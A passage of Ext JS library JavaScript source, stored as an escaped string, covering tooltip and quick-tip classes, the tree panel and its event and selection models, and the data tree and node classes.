[0, 9];\n                break;\n            case\"b\":\n                b = [0, -13];\n                break;\n            case\"r\":\n                b = [-13, 0];\n                break;\n            default:\n                b = [9, 0];\n                break\n        }\n    } else {\n        switch (a) {\n            case\"t\":\n                b = [-15 - this.anchorOffset, 30];\n                break;\n            case\"b\":\n                b = [-19 - this.anchorOffset, -13 - this.el.dom.offsetHeight];\n                break;\n            case\"r\":\n                b = [-15 - this.el.dom.offsetWidth, -13 - this.anchorOffset];\n                break;\n            default:\n                b = [25, -13 - this.anchorOffset];\n                break\n        }\n    }\n    var c = this.getMouseOffset();\n    b[0] += c[0];\n    b[1] += c[1];\n    return b\n}, onTargetOver:function (b) {\n    if (this.disabled || b.within(this.target.dom, true)) {\n        return\n    }\n    var a = b.getTarget(this.delegate);\n    if (a) {\n        this.triggerElement = a;\n        this.clearTimer(\"hide\");\n        this.targetXY = b.getXY();\n        this.delayShow()\n    }\n}, delayShow:function () {\n    if (this.hidden && !this.showTimer) {\n        if (this.lastActive.getElapsed() < this.quickShowInterval) {\n            this.show()\n        } else {\n            this.showTimer = this.show.defer(this.showDelay, this)\n        }\n    } else {\n        if (!this.hidden && this.autoHide !== false) {\n            this.show()\n        }\n    }\n}, onTargetOut:function (a) {\n    if (this.disabled || a.within(this.target.dom, true)) {\n        return\n    }\n    this.clearTimer(\"show\");\n    if (this.autoHide !== false) {\n        this.delayHide()\n    }\n}, delayHide:function () {\n    if (!this.hidden && !this.hideTimer) {\n        this.hideTimer = this.hide.defer(this.hideDelay, this)\n    }\n}, hide:function () {\n    this.clearTimer(\"dismiss\");\n    this.lastActive = new Date();\n    if (this.anchorEl) {\n        this.anchorEl.hide()\n    }\n    Ext.ToolTip.superclass.hide.call(this);\n    delete this.triggerElement\n}, show:function () {\n    if (this.anchor) {\n        this.showAt([-1000, -1000]);\n        this.origConstrainPosition = this.constrainPosition;\n        this.constrainPosition = false;\n        this.anchor = this.origAnchor\n    }\n    this.showAt(this.getTargetXY());\n    if (this.anchor) {\n        this.anchorEl.show();\n        this.syncAnchor();\n        this.constrainPosition = this.origConstrainPosition\n    } else {\n        this.anchorEl.hide()\n    }\n}, showAt:function (a) {\n    this.lastActive = new Date();\n    this.clearTimers();\n    Ext.ToolTip.superclass.showAt.call(this, a);\n    if (this.dismissDelay && this.autoHide !== false) {\n        this.dismissTimer = this.hide.defer(this.dismissDelay, this)\n    }\n    if (this.anchor && !this.anchorEl.isVisible()) {\n        this.syncAnchor();\n        this.anchorEl.show()\n    } else {\n        this.anchorEl.hide()\n    }\n}, syncAnchor:function () {\n    var a, b, c;\n    switch (this.tipAnchor.charAt(0)) {\n        case\"t\":\n            a = \"b\";\n            b = \"tl\";\n            c = [20 + this.anchorOffset, 2];\n            break;\n        case\"r\":\n            a = \"l\";\n            b = \"tr\";\n            c = [-2, 11 + this.anchorOffset];\n            break;\n        case\"b\":\n            a = \"t\";\n            b = \"bl\";\n            c = [20 + this.anchorOffset, -2];\n            break;\n        default:\n            a = \"r\";\n            b = \"tl\";\n            c = [2, 11 + this.anchorOffset];\n            break\n    }\n    this.anchorEl.alignTo(this.el, a + \"-\" + b, c)\n}, setPagePosition:function (a, b) {\n    Ext.ToolTip.superclass.setPagePosition.call(this, a, b);\n    if (this.anchor) {\n        this.syncAnchor()\n    }\n}, clearTimer:function (a) {\n    a = a + \"Timer\";\n    clearTimeout(this[a]);\n    delete this[a]\n}, clearTimers:function () {\n    this.clearTimer(\"show\");\n    this.clearTimer(\"dismiss\");\n    this.clearTimer(\"hide\")\n}, onShow:function () {\n    Ext.ToolTip.superclass.onShow.call(this);\n    Ext.getDoc().on(\"mousedown\", this.onDocMouseDown, this)\n}, onHide:function () {\n    Ext.ToolTip.superclass.onHide.call(this);\n    Ext.getDoc().un(\"mousedown\", this.onDocMouseDown, this)\n}, onDocMouseDown:function (a) {\n    if (this.autoHide !== true && !this.closable && !a.within(this.el.dom)) {\n        this.disable();\n        this.doEnable.defer(100, this)\n    }\n}, doEnable:function () {\n    if (!this.isDestroyed) {\n        this.enable()\n    }\n}, onDisable:function () {\n    this.clearTimers();\n    this.hide()\n}, adjustPosition:function (a, d) {\n    if (this.constrainPosition) {\n        var c = this.targetXY[1], b = this.getSize().height;\n        if (d <= c && (d + b) >= c) {\n            d = c - b - 5\n        }\n    }\n    return{x:a, y:d}\n}, beforeDestroy:function () {\n    this.clearTimers();\n    Ext.destroy(this.anchorEl);\n    delete this.anchorEl;\n    delete this.target;\n    delete this.anchorTarget;\n    delete this.triggerElement;\n    Ext.ToolTip.superclass.beforeDestroy.call(this)\n}, onDestroy:function () {\n    Ext.getDoc().un(\"mousedown\", this.onDocMouseDown, this);\n    Ext.ToolTip.superclass.onDestroy.call(this)\n}});\nExt.reg(\"tooltip\", Ext.ToolTip);\nExt.QuickTip = Ext.extend(Ext.ToolTip, {interceptTitles:false, tagConfig:{namespace:\"ext\", attribute:\"qtip\", width:\"qwidth\", target:\"target\", title:\"qtitle\", hide:\"hide\", cls:\"qclass\", align:\"qalign\", anchor:\"anchor\"}, initComponent:function () {\n    this.target = this.target || Ext.getDoc();\n    this.targets = this.targets || {};\n    Ext.QuickTip.superclass.initComponent.call(this)\n}, register:function (e) {\n    var h = Ext.isArray(e) ? e : arguments;\n    for (var g = 0, a = h.length; g < a; g++) {\n        var l = h[g];\n        var k = l.target;\n        if (k) {\n            if (Ext.isArray(k)) {\n                for (var d = 0, b = k.length; d < b; d++) {\n                    this.targets[Ext.id(k[d])] = l\n                }\n            } else {\n                this.targets[Ext.id(k)] = l\n            }\n        }\n    }\n}, unregister:function (a) {\n    delete this.targets[Ext.id(a)]\n}, cancelShow:function (b) {\n    var a = this.activeTarget;\n    b = Ext.get(b).dom;\n    if (this.isVisible()) {\n        if (a && a.el == b) {\n            this.hide()\n        }\n    } else {\n        if (a && a.el == b) {\n            this.clearTimer(\"show\")\n        }\n    }\n}, getTipCfg:function (d) {\n    var b = d.getTarget(), c, a;\n    if (this.interceptTitles && b.title && Ext.isString(b.title)) {\n        c = b.title;\n        b.qtip = c;\n        b.removeAttribute(\"title\");\n        d.preventDefault()\n    } else {\n        a = this.tagConfig;\n        c = b.qtip || Ext.fly(b).getAttribute(a.attribute, a.namespace)\n    }\n    return c\n}, onTargetOver:function (i) {\n    if (this.disabled) {\n        return\n    }\n    this.targetXY = i.getXY();\n    var c = i.getTarget();\n    if (!c || c.nodeType !== 1 || c == document || c == document.body) {\n        return\n    }\n    if (this.activeTarget && ((c == this.activeTarget.el) || Ext.fly(this.activeTarget.el).contains(c))) {\n        this.clearTimer(\"hide\");\n        this.show();\n        return\n    }\n    if (c && this.targets[c.id]) {\n        this.activeTarget = this.targets[c.id];\n        this.activeTarget.el = c;\n        this.anchor = this.activeTarget.anchor;\n        if (this.anchor) {\n            this.anchorTarget = c\n        }\n        this.delayShow();\n        return\n    }\n    var g, h = Ext.fly(c), b = this.tagConfig, d = b.namespace;\n    if (g = this.getTipCfg(i)) {\n        var a = h.getAttribute(b.hide, d);\n        this.activeTarget = {el:c, text:g, width:h.getAttribute(b.width, d), autoHide:a != \"user\" && a !== \"false\", title:h.getAttribute(b.title, d), cls:h.getAttribute(b.cls, d), align:h.getAttribute(b.align, d)};\n        this.anchor = h.getAttribute(b.anchor, d);\n        if (this.anchor) {\n            this.anchorTarget = c\n        }\n        this.delayShow()\n    }\n}, onTargetOut:function (a) {\n    if (this.activeTarget && a.within(this.activeTarget.el) && !this.getTipCfg(a)) {\n        return\n    }\n    this.clearTimer(\"show\");\n    if (this.autoHide !== false) {\n        this.delayHide()\n    }\n}, showAt:function (b) {\n    var a = this.activeTarget;\n    if (a) {\n        if (!this.rendered) {\n            this.render(Ext.getBody());\n            this.activeTarget = a\n        }\n        if (a.width) {\n            this.setWidth(a.width);\n            this.body.setWidth(this.adjustBodyWidth(a.width - this.getFrameWidth()));\n            this.measureWidth = false\n        } else {\n            this.measureWidth = true\n        }\n        this.setTitle(a.title || \"\");\n        this.body.update(a.text);\n        this.autoHide = a.autoHide;\n        this.dismissDelay = a.dismissDelay || this.dismissDelay;\n        if (this.lastCls) {\n            this.el.removeClass(this.lastCls);\n            delete this.lastCls\n        }\n        if (a.cls) {\n            this.el.addClass(a.cls);\n            this.lastCls = a.cls\n        }\n        if (this.anchor) {\n            this.constrainPosition = false\n        } else {\n            if (a.align) {\n                b = this.el.getAlignToXY(a.el, a.align);\n                this.constrainPosition = false\n            } else {\n                this.constrainPosition = true\n            }\n        }\n    }\n    Ext.QuickTip.superclass.showAt.call(this, b)\n}, hide:function () {\n    delete this.activeTarget;\n    Ext.QuickTip.superclass.hide.call(this)\n}});\nExt.reg(\"quicktip\", Ext.QuickTip);\nExt.QuickTips = function () {\n    var b, a = false;\n    return{init:function (c) {\n        if (!b) {\n            if (!Ext.isReady) {\n                Ext.onReady(function () {\n                    Ext.QuickTips.init(c)\n                });\n                return\n            }\n            b = new Ext.QuickTip({elements:\"header,body\", disabled:a});\n            if (c !== false) {\n                b.render(Ext.getBody())\n            }\n        }\n    }, ddDisable:function () {\n        if (b && !a) {\n            b.disable()\n        }\n    }, ddEnable:function () {\n        if (b && !a) {\n            b.enable()\n        }\n    }, enable:function () {\n        if (b) {\n            b.enable()\n        }\n        a = false\n    }, disable:function () {\n        if (b) {\n            b.disable()\n        }\n        a = true\n    }, isEnabled:function () {\n        return b !== undefined && !b.disabled\n    }, getQuickTip:function () {\n        return b\n    }, register:function () {\n        b.register.apply(b, arguments)\n    }, unregister:function () {\n        b.unregister.apply(b, arguments)\n    }, tips:function () {\n        b.register.apply(b, arguments)\n    }}\n}();\nExt.slider.Tip = Ext.extend(Ext.Tip, {minWidth:10, offsets:[0, -10], init:function (a) {\n    a.on({scope:this, dragstart:this.onSlide, drag:this.onSlide, dragend:this.hide, destroy:this.destroy})\n}, onSlide:function (b, c, a) {\n    this.show();\n    this.body.update(this.getText(a));\n    this.doAutoWidth();\n    this.el.alignTo(a.el, \"b-t?\", this.offsets)\n}, getText:function (a) {\n    return String(a.value)\n}});\nExt.ux.SliderTip = Ext.slider.Tip;\nExt.tree.TreePanel = Ext.extend(Ext.Panel, {rootVisible:true, animate:Ext.enableFx, lines:true, enableDD:false, hlDrop:Ext.enableFx, pathSeparator:\"/\", bubbleEvents:[], initComponent:function () {\n    Ext.tree.TreePanel.superclass.initComponent.call(this);\n    if (!this.eventModel) {\n        this.eventModel = new Ext.tree.TreeEventModel(this)\n    }\n    var a = this.loader;\n    if (!a) {\n        a = new Ext.tree.TreeLoader({dataUrl:this.dataUrl, requestMethod:this.requestMethod})\n    } else {\n        if (Ext.isObject(a) && !a.load) {\n            a = new Ext.tree.TreeLoader(a)\n        }\n    }\n    this.loader = a;\n    this.nodeHash = {};\n    if (this.root) {\n        var b = this.root;\n        delete this.root;\n        this.setRootNode(b)\n    }\n    this.addEvents(\"append\", \"remove\", \"movenode\", \"insert\", \"beforeappend\", \"beforeremove\", \"beforemovenode\", \"beforeinsert\", \"beforeload\", \"load\", \"textchange\", \"beforeexpandnode\", \"beforecollapsenode\", \"expandnode\", \"disabledchange\", \"collapsenode\", \"beforeclick\", \"click\", \"containerclick\", \"checkchange\", \"beforedblclick\", \"dblclick\", \"containerdblclick\", \"contextmenu\", \"containercontextmenu\", \"beforechildrenrendered\", \"startdrag\", \"enddrag\", \"dragdrop\", \"beforenodedrop\", \"nodedrop\", \"nodedragover\");\n    if (this.singleExpand) {\n        this.on(\"beforeexpandnode\", this.restrictExpand, this)\n    }\n}, proxyNodeEvent:function (c, b, a, h, g, e, d) {\n    if (c == \"collapse\" || c == \"expand\" || c == \"beforecollapse\" || c == \"beforeexpand\" || c == \"move\" || c == \"beforemove\") {\n        c = c + \"node\"\n    }\n    return this.fireEvent(c, b, a, h, g, e, d)\n}, getRootNode:function () {\n    return this.root\n}, setRootNode:function (b) {\n    this.destroyRoot();\n    if (!b.render) {\n        b = this.loader.createNode(b)\n    }\n    this.root = b;\n    b.ownerTree = this;\n    b.isRoot = true;\n    this.registerNode(b);\n    if (!this.rootVisible) {\n        var a = b.attributes.uiProvider;\n        b.ui = a ? new a(b) : new Ext.tree.RootTreeNodeUI(b)\n    }\n    if (this.innerCt) {\n        this.clearInnerCt();\n        this.renderRoot()\n    }\n    return b\n}, clearInnerCt:function () {\n    this.innerCt.update(\"\")\n}, renderRoot:function () {\n    this.root.render();\n    if (!this.rootVisible) {\n        this.root.renderChildren()\n    }\n}, getNodeById:function (a) {\n    return this.nodeHash[a]\n}, registerNode:function (a) {\n    this.nodeHash[a.id] = a\n}, unregisterNode:function (a) {\n    delete this.nodeHash[a.id]\n}, toString:function () {\n    return\"[Tree\" + (this.id ? \" \" + this.id : \"\") + \"]\"\n}, restrictExpand:function (a) {\n    var b = a.parentNode;\n    if (b) {\n        if (b.expandedChild && b.expandedChild.parentNode == b) {\n            b.expandedChild.collapse()\n        }\n        b.expandedChild = a\n    }\n}, getChecked:function (b, c) {\n    c = c || this.root;\n    var d = [];\n    var e = function () {\n        if (this.attributes.checked) {\n            d.push(!b ? this : (b == \"id\" ? this.id : this.attributes[b]))\n        }\n    };\n    c.cascade(e);\n    return d\n}, getLoader:function () {\n    return this.loader\n}, expandAll:function () {\n    this.root.expand(true)\n}, collapseAll:function () {\n    this.root.collapse(true)\n}, getSelectionModel:function () {\n    if (!this.selModel) {\n        this.selModel = new Ext.tree.DefaultSelectionModel()\n    }\n    return this.selModel\n}, expandPath:function (g, a, h) {\n    if (Ext.isEmpty(g)) {\n        if (h) {\n            h(false, undefined)\n        }\n        return\n    }\n    a = a || \"id\";\n    var d = g.split(this.pathSeparator);\n    var c = this.root;\n    if (c.attributes[a] != d[1]) {\n        if (h) {\n            h(false, null)\n        }\n        return\n    }\n    var b = 1;\n    var e = function () {\n        if (++b == d.length) {\n            if (h) {\n                h(true, c)\n            }\n            return\n        }\n        var i = c.findChild(a, d[b]);\n        if (!i) {\n            if (h) {\n                h(false, c)\n            }\n            return\n        }\n        c = i;\n        i.expand(false, false, e)\n    };\n    c.expand(false, false, e)\n}, selectPath:function (e, a, g) {\n    if (Ext.isEmpty(e)) {\n        if (g) {\n            g(false, undefined)\n        }\n        return\n    }\n    a = a || \"id\";\n    var c = e.split(this.pathSeparator), b = c.pop();\n    if (c.length > 1) {\n        var d = function (i, h) {\n            if (i && h) {\n                var j = h.findChild(a, b);\n                if (j) {\n                    j.select();\n                    if (g) {\n                        g(true, j)\n                    }\n                } else {\n                    if (g) {\n                        g(false, j)\n                    }\n                }\n            } else {\n                if (g) {\n                    g(false, j)\n                }\n            }\n        };\n        this.expandPath(c.join(this.pathSeparator), a, d)\n    } else {\n        this.root.select();\n        if (g) {\n            g(true, this.root)\n        }\n    }\n}, getTreeEl:function () {\n    return this.body\n}, onRender:function (b, a) {\n    Ext.tree.TreePanel.superclass.onRender.call(this, b, a);\n    this.el.addClass(\"x-tree\");\n    this.innerCt = this.body.createChild({tag:\"ul\", cls:\"x-tree-root-ct \" + (this.useArrows ? \"x-tree-arrows\" : this.lines ? \"x-tree-lines\" : \"x-tree-no-lines\")})\n}, initEvents:function () {\n    Ext.tree.TreePanel.superclass.initEvents.call(this);\n    if (this.containerScroll) {\n        Ext.dd.ScrollManager.register(this.body)\n    }\n    if ((this.enableDD || this.enableDrop) && !this.dropZone) {\n        this.dropZone = new Ext.tree.TreeDropZone(this, this.dropConfig || {ddGroup:this.ddGroup || \"TreeDD\", appendOnly:this.ddAppendOnly === true})\n    }\n    if ((this.enableDD || this.enableDrag) && !this.dragZone) {\n        this.dragZone = new Ext.tree.TreeDragZone(this, this.dragConfig || {ddGroup:this.ddGroup || \"TreeDD\", scroll:this.ddScroll})\n    }\n    this.getSelectionModel().init(this)\n}, afterRender:function () {\n    Ext.tree.TreePanel.superclass.afterRender.call(this);\n    this.renderRoot()\n}, beforeDestroy:function () {\n    if (this.rendered) {\n        Ext.dd.ScrollManager.unregister(this.body);\n        Ext.destroy(this.dropZone, this.dragZone)\n    }\n    this.destroyRoot();\n    Ext.destroy(this.loader);\n    this.nodeHash = this.root = this.loader = null;\n    Ext.tree.TreePanel.superclass.beforeDestroy.call(this)\n}, destroyRoot:function () {\n    if (this.root && this.root.destroy) {\n        this.root.destroy(true)\n    }\n}});\nExt.tree.TreePanel.nodeTypes = {};\nExt.reg(\"treepanel\", Ext.tree.TreePanel);\nExt.tree.TreeEventModel = function (a) {\n    this.tree = a;\n    this.tree.on(\"render\", this.initEvents, this)\n};\nExt.tree.TreeEventModel.prototype = {initEvents:function () {\n    var a = this.tree;\n    if (a.trackMouseOver !== false) {\n        a.mon(a.innerCt, {scope:this, mouseover:this.delegateOver, mouseout:this.delegateOut})\n    }\n    a.mon(a.getTreeEl(), {scope:this, click:this.delegateClick, dblclick:this.delegateDblClick, contextmenu:this.delegateContextMenu})\n}, getNode:function (b) {\n    var a;\n    if (a = b.getTarget(\".x-tree-node-el\", 10)) {\n        var c = Ext.fly(a, \"_treeEvents\").getAttribute(\"tree-node-id\", \"ext\");\n        if (c) {\n            return this.tree.getNodeById(c)\n        }\n    }\n    return null\n}, getNodeTarget:function (b) {\n    var a = b.getTarget(\".x-tree-node-icon\", 1);\n    if (!a) {\n        a = b.getTarget(\".x-tree-node-el\", 6)\n    }\n    return a\n}, delegateOut:function (b, a) {\n    if (!this.beforeEvent(b)) {\n        return\n    }\n    if (b.getTarget(\".x-tree-ec-icon\", 1)) {\n        var c = this.getNode(b);\n        this.onIconOut(b, c);\n        if (c == this.lastEcOver) {\n            delete this.lastEcOver\n        }\n    }\n    if ((a = this.getNodeTarget(b)) && !b.within(a, true)) {\n        this.onNodeOut(b, this.getNode(b))\n    }\n}, delegateOver:function (b, a) {\n    if (!this.beforeEvent(b)) {\n        return\n    }\n    if (Ext.isGecko && !this.trackingDoc) {\n        Ext.getBody().on(\"mouseover\", this.trackExit, this);\n        this.trackingDoc = true\n    }\n    if (this.lastEcOver) {\n        this.onIconOut(b, this.lastEcOver);\n        delete this.lastEcOver\n    }\n    if (b.getTarget(\".x-tree-ec-icon\", 1)) {\n        this.lastEcOver = this.getNode(b);\n        this.onIconOver(b, this.lastEcOver)\n    }\n    if (a = this.getNodeTarget(b)) {\n        this.onNodeOver(b, this.getNode(b))\n    }\n}, trackExit:function (a) {\n    if (this.lastOverNode) {\n        if (this.lastOverNode.ui && !a.within(this.lastOverNode.ui.getEl())) {\n            this.onNodeOut(a, this.lastOverNode)\n        }\n        delete this.lastOverNode;\n        Ext.getBody().un(\"mouseover\", this.trackExit, this);\n        this.trackingDoc = false\n    }\n}, delegateClick:function (b, a) {\n    if (this.beforeEvent(b)) {\n        if (b.getTarget(\"input[type=checkbox]\", 1)) {\n            this.onCheckboxClick(b, this.getNode(b))\n        } else {\n            if (b.getTarget(\".x-tree-ec-icon\", 1)) {\n                this.onIconClick(b, this.getNode(b))\n            } else {\n                if (this.getNodeTarget(b)) {\n                    this.onNodeClick(b, this.getNode(b))\n                }\n            }\n        }\n    } else {\n        this.checkContainerEvent(b, \"click\")\n    }\n}, delegateDblClick:function (b, a) {\n    if (this.beforeEvent(b)) {\n        if (this.getNodeTarget(b)) {\n            this.onNodeDblClick(b, this.getNode(b))\n        }\n    } else {\n        this.checkContainerEvent(b, \"dblclick\")\n    }\n}, delegateContextMenu:function (b, a) {\n    if (this.beforeEvent(b)) {\n        if (this.getNodeTarget(b)) {\n            this.onNodeContextMenu(b, this.getNode(b))\n        }\n    } else {\n        this.checkContainerEvent(b, \"contextmenu\")\n    }\n}, checkContainerEvent:function (b, a) {\n    if (this.disabled) {\n        b.stopEvent();\n        return false\n    }\n    this.onContainerEvent(b, a)\n}, onContainerEvent:function (b, a) {\n    this.tree.fireEvent(\"container\" + a, this.tree, b)\n}, onNodeClick:function (b, a) {\n    a.ui.onClick(b)\n}, onNodeOver:function (b, a) {\n    this.lastOverNode = a;\n    a.ui.onOver(b)\n}, onNodeOut:function (b, a) {\n    a.ui.onOut(b)\n}, onIconOver:function (b, a) {\n    a.ui.addClass(\"x-tree-ec-over\")\n}, onIconOut:function (b, a) {\n    a.ui.removeClass(\"x-tree-ec-over\")\n}, onIconClick:function (b, a) {\n    a.ui.ecClick(b)\n}, onCheckboxClick:function (b, a) {\n    a.ui.onCheckChange(b)\n}, onNodeDblClick:function (b, a) {\n    a.ui.onDblClick(b)\n}, onNodeContextMenu:function (b, a) {\n    a.ui.onContextMenu(b)\n}, beforeEvent:function (b) {\n    var a = this.getNode(b);\n    if (this.disabled || !a || !a.ui) {\n        b.stopEvent();\n        return false\n    }\n    return true\n}, disable:function () {\n    this.disabled = true\n}, enable:function () {\n    this.disabled = false\n}};\nExt.tree.DefaultSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function (a) {\n    this.selNode = null;\n    this.addEvents(\"selectionchange\", \"beforeselect\");\n    Ext.apply(this, a);\n    Ext.tree.DefaultSelectionModel.superclass.constructor.call(this)\n}, init:function (a) {\n    this.tree = a;\n    a.mon(a.getTreeEl(), \"keydown\", this.onKeyDown, this);\n    a.on(\"click\", this.onNodeClick, this)\n}, onNodeClick:function (a, b) {\n    this.select(a)\n}, select:function (c, a) {\n    if (!Ext.fly(c.ui.wrap).isVisible() && a) {\n        return a.call(this, c)\n    }\n    var b = this.selNode;\n    if (c == b) {\n        c.ui.onSelectedChange(true)\n    } else {\n        if (this.fireEvent(\"beforeselect\", this, c, b) !== false) {\n            if (b && b.ui) {\n                b.ui.onSelectedChange(false)\n            }\n            this.selNode = c;\n            c.ui.onSelectedChange(true);\n            this.fireEvent(\"selectionchange\", this, c, b)\n        }\n    }\n    return c\n}, unselect:function (b, a) {\n    if (this.selNode == b) {\n        this.clearSelections(a)\n    }\n}, clearSelections:function (a) {\n    var b = this.selNode;\n    if (b) {\n        b.ui.onSelectedChange(false);\n        this.selNode = null;\n        if (a !== true) {\n            this.fireEvent(\"selectionchange\", this, null)\n        }\n    }\n    return b\n}, getSelectedNode:function () {\n    return this.selNode\n}, isSelected:function (a) {\n    return this.selNode == a\n}, selectPrevious:function (a) {\n    if (!(a = a || this.selNode || this.lastSelNode)) {\n        return null\n    }\n    var c = a.previousSibling;\n    if (c) {\n        if (!c.isExpanded() || c.childNodes.length < 1) {\n            return this.select(c, this.selectPrevious)\n        } else {\n            var b = c.lastChild;\n            while (b && b.isExpanded() && Ext.fly(b.ui.wrap).isVisible() && b.childNodes.length > 0) {\n                b = b.lastChild\n            }\n            return this.select(b, this.selectPrevious)\n        }\n    } else {\n        if (a.parentNode && (this.tree.rootVisible || !a.parentNode.isRoot)) {\n            return this.select(a.parentNode, this.selectPrevious)\n        }\n    }\n    return null\n}, selectNext:function (b) {\n    if (!(b = b || this.selNode || this.lastSelNode)) {\n        return null\n    }\n    if (b.firstChild && b.isExpanded() && Ext.fly(b.ui.wrap).isVisible()) {\n        return this.select(b.firstChild, this.selectNext)\n    } else {\n        if (b.nextSibling) {\n            return this.select(b.nextSibling, this.selectNext)\n        } else {\n            if (b.parentNode) {\n                var a = null;\n                b.parentNode.bubble(function () {\n                    if (this.nextSibling) {\n                        a = this.getOwnerTree().selModel.select(this.nextSibling, this.selectNext);\n                        return false\n                    }\n                });\n                return a\n            }\n        }\n    }\n    return null\n}, onKeyDown:function (c) {\n    var b = this.selNode || this.lastSelNode;\n    var d = this;\n    if (!b) {\n        return\n    }\n    var a = c.getKey();\n    switch (a) {\n        case c.DOWN:\n            c.stopEvent();\n            this.selectNext();\n            break;\n        case c.UP:\n            c.stopEvent();\n            this.selectPrevious();\n            break;\n        case c.RIGHT:\n            c.preventDefault();\n            if (b.hasChildNodes()) {\n                if (!b.isExpanded()) {\n                    b.expand()\n                } else {\n                    if (b.firstChild) {\n                        this.select(b.firstChild, c)\n                    }\n                }\n            }\n            break;\n        case c.LEFT:\n            c.preventDefault();\n            if (b.hasChildNodes() && b.isExpanded()) {\n                b.collapse()\n            } else {\n                if (b.parentNode && (this.tree.rootVisible || b.parentNode != this.tree.getRootNode())) {\n                    this.select(b.parentNode, c)\n                }\n            }\n            break\n    }\n}});\nExt.tree.MultiSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function (a) {\n    this.selNodes = [];\n    this.selMap = {};\n    this.addEvents(\"selectionchange\");\n    Ext.apply(this, a);\n    Ext.tree.MultiSelectionModel.superclass.constructor.call(this)\n}, init:function (a) {\n    this.tree = a;\n    a.mon(a.getTreeEl(), \"keydown\", this.onKeyDown, this);\n    a.on(\"click\", this.onNodeClick, this)\n}, onNodeClick:function (a, b) {\n    if (b.ctrlKey && this.isSelected(a)) {\n        this.unselect(a)\n    } else {\n        this.select(a, b, b.ctrlKey)\n    }\n}, select:function (a, c, b) {\n    if (b !== true) {\n        this.clearSelections(true)\n    }\n    if (this.isSelected(a)) {\n        this.lastSelNode = a;\n        return a\n    }\n    this.selNodes.push(a);\n    this.selMap[a.id] = a;\n    this.lastSelNode = a;\n    a.ui.onSelectedChange(true);\n    this.fireEvent(\"selectionchange\", this, this.selNodes);\n    return a\n}, unselect:function (b) {\n    if (this.selMap[b.id]) {\n        b.ui.onSelectedChange(false);\n        var c = this.selNodes;\n        var a = c.indexOf(b);\n        if (a != -1) {\n            this.selNodes.splice(a, 1)\n        }\n        delete this.selMap[b.id];\n        this.fireEvent(\"selectionchange\", this, this.selNodes)\n    }\n}, clearSelections:function (b) {\n    var d = this.selNodes;\n    if (d.length > 0) {\n        for (var c = 0, a = d.length; c < a; c++) {\n            d[c].ui.onSelectedChange(false)\n        }\n        this.selNodes = [];\n        this.selMap = {};\n        if (b !== true) {\n            this.fireEvent(\"selectionchange\", this, this.selNodes)\n        }\n    }\n}, isSelected:function (a) {\n    return this.selMap[a.id] ? true : false\n}, getSelectedNodes:function () {\n    return this.selNodes.concat([])\n}, onKeyDown:Ext.tree.DefaultSelectionModel.prototype.onKeyDown, selectNext:Ext.tree.DefaultSelectionModel.prototype.selectNext, selectPrevious:Ext.tree.DefaultSelectionModel.prototype.selectPrevious});\nExt.data.Tree = Ext.extend(Ext.util.Observable, {constructor:function (a) {\n    this.nodeHash = {};\n    this.root = null;\n    if (a) {\n        this.setRootNode(a)\n    }\n    this.addEvents(\"append\", \"remove\", \"move\", \"insert\", \"beforeappend\", \"beforeremove\", \"beforemove\", \"beforeinsert\");\n    Ext.data.Tree.superclass.constructor.call(this)\n}, pathSeparator:\"/\", proxyNodeEvent:function () {\n    return this.fireEvent.apply(this, arguments)\n}, getRootNode:function () {\n    return this.root\n}, setRootNode:function (a) {\n    this.root = a;\n    a.ownerTree = this;\n    a.isRoot = true;\n    this.registerNode(a);\n    return a\n}, getNodeById:function (a) {\n    return this.nodeHash[a]\n}, registerNode:function (a) {\n    this.nodeHash[a.id] = a\n}, unregisterNode:function (a) {\n    delete this.nodeHash[a.id]\n}, toString:function () {\n    return\"[Tree\" + (this.id ? \" \" + this.id : \"\") + \"]\"\n}});\nExt.data.Node = Ext.extend(Ext.util.Observable, {constructor:function (a) {\n    this.attributes = a || {};\n    this.leaf = this.attributes.leaf;\n    this.id = this.attributes.id;\n    if (!this.id) {\n        this.id = Ext.id(null, \"xnode-\");\n        this.attributes.id = this.id\n    }\n    this.childNodes = [];\n    this.parentNode = null;\n    this.firstChild = null;\n    this.lastChild = null;\n    this.previousSibling = null;\n    this.nextSibling = null;\n    this.addEvents({append:true, remove:true, move:true, insert:true, beforeappend:true, beforeremove:true, beforemove:true, beforeinsert:true});\n    this.listeners = this.attributes.listeners;\n    Ext.data.Node.superclass.constructor.call(this)\n}, fireEvent:function (b) {\n    if (Ext.data.Node.superclass.fireEvent.apply(this, arguments) === false) {\n        return false\n    }\n    var a = this.getOwnerTree();\n    if (a) {\n        if (a.proxyNodeEvent.apply(a, arguments) === false) {\n            return false\n        }\n    }\n    return true\n}, isLeaf:function () {\n    return this.leaf === true\n}, setFirstChild:function (a) {\n    this.firstChild = a\n}, setLastChild:function (a) {\n    this.lastChild = a\n}, isLast:function () {\n    return(!this.parentNode ? true : this.parentNode.lastChild == this)\n}, isFirst:function () {\n    return(!this.parentNode ? true : this.parentNode.firstChild == this)\n}, hasChildNodes:function () {\n    return !this.isLeaf() && this.childNodes.length > 0\n}, isExpandable:function () {\n    return this.attributes.expandable || this.hasChildNodes()\n}, appendChild:function (e) {\n    var g = false;\n    if (Ext.isArray(e)) {\n        g = e\n    } else {\n        if (arguments.length > 1) {\n            g = arguments\n        }\n    }\n    if (g) {\n        for (var d = 0, a = g.length; d < a; d++) {\n            this.appendChild(g[d])\n        }\n    } else {\n        if (this.fireEvent(\"beforeappend\", this.ownerTree, this, e) === false) {\n            return false\n        }\n        var b = this.childNodes.length;\n        var c = e.parentNode;\n        if (c) {\n            if (e.fireEvent(\"beforemove\", e.getOwnerTree(), e, c, this, b) === false) {\n                return false\n            }\n            c.removeChild(e)\n        }\n        b = this.childNodes.length;\n        if (b === 0) {\n            this.setFirstChild(e)\n        }\n        this.childNodes.push(e);\n        e.parentNode = this;\n        var h = this.childNodes[b - 1];\n        if (h) {\n            e.previousSibling = h;\n            h.nextSibling = e\n        } else {\n            e.previousSibling = null\n        }\n        e.nextSibling = null;\n        this.setLastChild(e);\n        e.setOwnerTree(this.getOwnerTree());\n        this.fireEvent(\"append\", this.ownerTree, this, e, b);\n        if (c) {\n            e.fireEvent(\"move\", this.ownerTree, e, c, this, b)\n        }\n        return e\n    }\n}, removeChild:function (c, b) {\n    var a = this.childNodes.indexOf(c);\n    if (a == -1) {\n        return false\n    }\n    if (this.fireEvent(\"beforeremove\", this.ownerTree, this, c) === false) {\n        return false\n    }\n    this.childNodes.splice(a, 1);\n    if (c.previousSibling) {\n        c.previousSibling.nextSibling = c.nextSibling\n    }\n    if (c.nextSibling) {\n        c.nextSibling.previousSibling = c.previousSibling\n    }\n  